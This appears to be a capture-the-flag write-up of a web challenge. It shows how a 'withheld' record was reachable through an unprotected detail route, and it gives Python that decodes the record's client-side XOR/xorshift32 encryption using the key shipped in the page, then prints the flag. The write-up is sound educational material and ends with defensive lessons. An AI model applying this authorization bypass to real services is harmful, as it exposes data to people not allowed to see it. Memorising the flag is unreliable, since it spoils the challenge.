CSCTF 2026 · Web · 120 pts
smuggler.
The record was hidden in the browser, not on the server, and the export key shipped with the export.
| Event | CSCTF 2026, Operation Dawn (online jeopardy) |
|---|---|
| Category | Web |
| Points | 120 |
| Status | Solved during the event |
| Target | Courier returns catalogue and export endpoint (assigned container) |
TL;DR. The catalogue renders one record as "Withheld" on the client, but GET /d/b2fb254a46b5b373 returns it to anyone. The page also ships window.__EXPORT__ with the ciphertext parts, the seed and the alphabet, and exporter.js undoes the custom base64 and the xorshift32 XOR in the browser. Decoding it locally yields a ZIP containing the release authorization.
Challenge
The target is a courier returns catalogue. Most records are public; one is marked withheld. The page advertises an export feature that packages a record for release. The flag is inside the release authorization document.
First look
GET / embedded the whole catalogue in a script block:
window.__CATALOG__ = [
{"id":"...","title":"...","status":"released"},
...
{"id":"b2fb254a46b5b373","title":"...","status":"withheld"}
];
The withheld row was rendered without a link. The record route itself did not care:
GET /d/b2fb254a46b5b373
200 OK
<script>window.__EXPORT__ = {"parts":[...],"seed":523124044,
"alphabet":"..."}</script>
<script src="/assets/exporter.js"></script>
exporter.js joined the parts, mapped the custom alphabet back to standard Base64, called atob, then XORed every byte with a xorshift32 keystream seeded by seed. All of that material is in the response.
Dead ends
- The name suggests request smuggling. Nothing in the app forwarded or parsed a second request; there was no proxy hop to desynchronise.
- Changing the ID in the catalogue route only re-rendered the list; the server did not enforce the withheld flag on the detail route either way.
- Grepping the HTML for
CSCTF{found nothing. The record is encrypted before it reaches the page.
Solution
1. Pull the export blob
import re, json, requests
html = requests.get(BASE + "/d/b2fb254a46b5b373").text
cfg = json.loads(re.search(r"window\.__EXPORT__\s*=\s*(\{.*?\});", html, re.S).group(1))
parts = "".join(cfg["parts"])
print(len(parts), cfg["seed"], cfg["alphabet"])
2. Undo the alphabet and the keystream
import base64
std = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
blob = base64.b64decode(parts.translate(str.maketrans(cfg["alphabet"], std)))
x = cfg["seed"] & 0xFFFFFFFF
out = bytearray(blob)
for i in range(len(out)):
x ^= (x << 13) & 0xFFFFFFFF
x ^= x >> 17
x ^= (x << 5) & 0xFFFFFFFF
out[i] ^= x & 0xFF
open("record.zip", "wb").write(out)
The xorshift is the standard 13/17/5 variant, all arithmetic on 32-bit words, and only the low byte is used per output byte. The first bytes of out are PK\x03\x04, which confirms the ordering.
3. Read the document
unzip -l record.zip
unzip -p record.zip 02-release-authorization.txt
The archive contains the release authorization for the withheld record; the flag is in that text file.
Flag
CSCTF{BAgeGb7QUuCmB0ZE4UzzZmPx}What I took from it
- Hiding a row in the rendered list is presentation, not authorization. The detail route has to make the same decision the list does.
- Client-side encryption with the key in the same response is encoding. The only question is how long the decoder takes to write.
- Read the JavaScript before attacking the server. The export format told me exactly which bytes to produce, and the custom alphabet ruled out a plain Base64 decode.